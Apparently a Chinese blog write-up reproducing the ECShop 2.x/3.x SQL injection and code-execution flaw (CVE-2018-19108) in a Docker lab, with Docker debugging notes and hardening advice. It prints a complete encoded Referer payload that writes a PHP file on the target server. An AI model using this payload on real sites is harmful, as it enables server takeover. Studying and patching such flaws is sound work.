SQL注入


原理

SELECT * FROM SQL_Injection WHERE id=$_GET['a']; 1 1 and 1=1 SELECT * FROM SQL_Injection WHERE name= '$_GET['a']'; boolean_blind boolean_blind' and 'a' = 'a SELECT * FROM SQL_Injection WHERE name= 'boolean_blind' and 'a' = 'a'

ECShop 2.x/3.x SQL注入/任意代码执行漏洞(Docker)分析(CVE-2018-19108)

漏洞背景

ECShop 是一款广泛使用的开源电商系统。在 2.x 和 3.x 版本中,由于对用户输入(特别是 HTTP Referer 头)缺乏有效过滤,结合模板引擎中危险的 /e 修饰符(preg_replaceeval 模式),攻击者可构造恶意 payload 实现 SQL 注入任意 PHP 代码执行,最终写入 WebShell 控制服务器。

影响版本:ECShop 2.x、3.x(未打补丁版本)
利用条件:站点启用用户评论或访问统计功能,且未对 Referer 进行过滤


1. 漏洞成因与注入点分析

漏洞核心在于以下代码片段(位于 /includes/cls_template.php):

return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

其中 /e 修饰符会将匹配内容作为 PHP 代码执行。攻击者通过控制 Referer 头,结合 ECShop 的序列化缓存机制,可注入恶意代码。该语句使得 php 能被保存为文件并直接被执行,同时也是 webshell 注入点。

关键点:

  • _echash 为固定值(如 554fcae493e564ee0dc75bdf2ebf94ca),可用于构造合法缓存键;
  • Referer 值未经转义直接拼接进 SQL 查询,导致 SQL 注入;
  • 利用 union select 注入 payload,触发模板引擎执行任意代码。

2. 构造 WebShell 实现任意代码执行

参考 Seebug 报告,构造如下 payload,将 phpinfo() 写入 1.php

file_put_contents('1.php','<?php phpinfo(); ?>')

Base64 编码后嵌入 payload:

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHBpbmZvKCk7ID8+Jyk='));//}xxx

转换为 16 进制绕过单引号限制,最终构造 Referer 请求头:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:248:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e5044397761484270626d5a764b436b374944382b4a796b3d2729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

使用 Burp Suite Repeater 发送该请求:

Burp repeater 构造 Referer poc

请求示范 - Burp repeater 构造 Referer poc

随后访问 http://target/1.php 验证 WebShell 是否写入成功:

访问1.php查看是否返回phpinfo

验证poc - 访问1.php查看是否返回phpinfo

成功返回 phpinfo() 页面,证明任意代码执行漏洞利用成功。


3. 环境问题与调试经验

问题:Docker 环境中 PHP 容器无法连接 MySQL 容器。
原因:代码中使用 localhost 连接数据库,但在 Docker Compose 网络中,服务应通过服务名(如 mysql)通信。

解决方法

  • 查看容器 IP:

    docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mysql
    
  • 修改数据库连接配置,将 localhost 改为 mysql(即 Compose 中的服务名);

  • 确保 depends_on: mysql 已配置,保证启动顺序。

Burp Suite 使用心得

  • 使用 Repeater 模块可快速修改并重放历史请求;
  • 内置 Encoder/Decoder 支持 Base64、Hex、URL 等编码,无需依赖外部网站;
  • 可保存请求模板,便于批量测试不同 payload。

安全加固建议

  1. 升级或打补丁:官方已修复该漏洞,建议升级至最新版 ECShop。
  2. 禁用 /e 修饰符:PHP 7.0+ 已移除 preg_replace /e,建议升级 PHP 版本。
  3. 输入过滤:对 RefererUser-Agent 等 HTTP 头进行严格校验与转义。
  4. 关闭危险函数:在 php.ini 中禁用 assertevalfile_put_contents 等高危函数。
  5. 最小权限原则:Web 目录禁止写权限,或限制可写目录范围。

参考资料

Comments

Leave a comment